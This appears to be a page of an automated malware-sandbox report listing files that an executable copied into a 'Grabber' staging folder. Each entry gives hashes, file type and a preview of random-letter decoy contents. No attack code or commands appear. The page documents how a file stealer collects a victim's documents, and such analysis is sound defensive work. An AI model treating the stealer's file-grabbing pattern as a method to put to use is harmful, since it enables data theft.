Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZSSZYEFYMU.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698801429970146
Encrypted:	false
SSDEEP:	24:qYZf7NYgK11E+8TKka0vEdKPG8TQZjtLMiMl+gc:Zk1k3a0Ma18Z4A
MD5:	488BC4EF686937916ECE6285266A6075
SHA1:	498BA8EBDA3DABD222532DB0C0D6262B0C5A7E08
SHA-256:	8DEB161A95E22B50B1BD88EDBBB4312003788B8A6B35D22AEC02CC200FF34C17
SHA-512:	1B7AC223F6277A74893597499F79D674E0798699081B0B2602123B9118E3F68815A951F787E71E5C35589E5AACF987E9C8F669FF9A9F6E94209F15DADEFF40A3
Malicious:	false
Preview:	ZSSZYEFYMUQEKZVPQBMSGZPGFJSTPVKSKKYYOJJIVKJRXMBDCMKBNSXEZOYYLLCVGBCQCKVUSXHLTTLRBHPCNSEMRROKBXFGQJZTBAVNRJJQBKWQYWINUTDWXUKTWQTLFVKQJLRXVFMCOZRZYQJKBITZONPSKVFYGVFRXBDOVYHVEMAQOEYMKHGFIUSMUZFLKRKBNYFQULYASQJWIMXTPKLTXNGJEWMVSDMVYEHMDPUBWHXLMDGALITFYOPNEIQSZIFTQVUSLRLYPKRTXNKPZMOTSFMCTTCARDYTVYJNZYBYCYFEMWWKCHMOTEZUTCREBZPMVCXBYPYANERMGIWQGRLDPRJEURITRIHETMYHEDRHVZWCMDHNFFZGLKKJQGCRIABTVOOSCMRDMCYBMDQOGHUUZIQUDIGWJEDYSILALQBOBHJCJXMYCXWMKWTAZTAUZGCOOYTBWHVSAMUGEMKVHNGWYROVAEWXIOJKNUUAHUZJKSBJBZHYPRMGXULRNKCEDZBZFSCLCLARQDJMLPUKDSUWUIZMUDIKRKQZKQOXAYQYQTWHEIQXYYRXUJUIJQHETOHAPWXNCXFRKNXDPMNGFVZLBDFQUQRTHWUPUFFOEETFIAMWILGGLMPNTNBWFAVUGTBECKTLKLZQTWDYQGKSATWYWCKMJUIBSPWHFOXTNCPNZROSZPOSCRTUVGPSNZPJGXCOSDTDGNOFJGXANNYNPDRWRWHRMJKJZLEGOXMOOUXTCHTTXGYUQDVKJZMOUPMXIJCGGEIUPFMUDPJPVMINFDESCQIALHEUSISIOWESWYRPEKDPMSSUALHIWLZBLYGOHEFVJWNLRWWTIYJVKFFZJKDTZXWMWMLHMPMCDJASZUPRTYGWPHHTFMTSSQIBOUWXAGDKQACWGATARXNPCMQFCVREPARZFKWLUWYDUSCBVSUXEQBCXPUESWMVITZYZKPVGHRQVMKQXDEITVASTNPYLAQHWTYQQEBOGBVRUVAJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\AFWAAFRXKO.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\AFWAAFRXKO.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\AIXACVYBSB.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG\AFWAAFRXKO.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG\AIXACVYBSB.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG\FACWLRWHGG.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

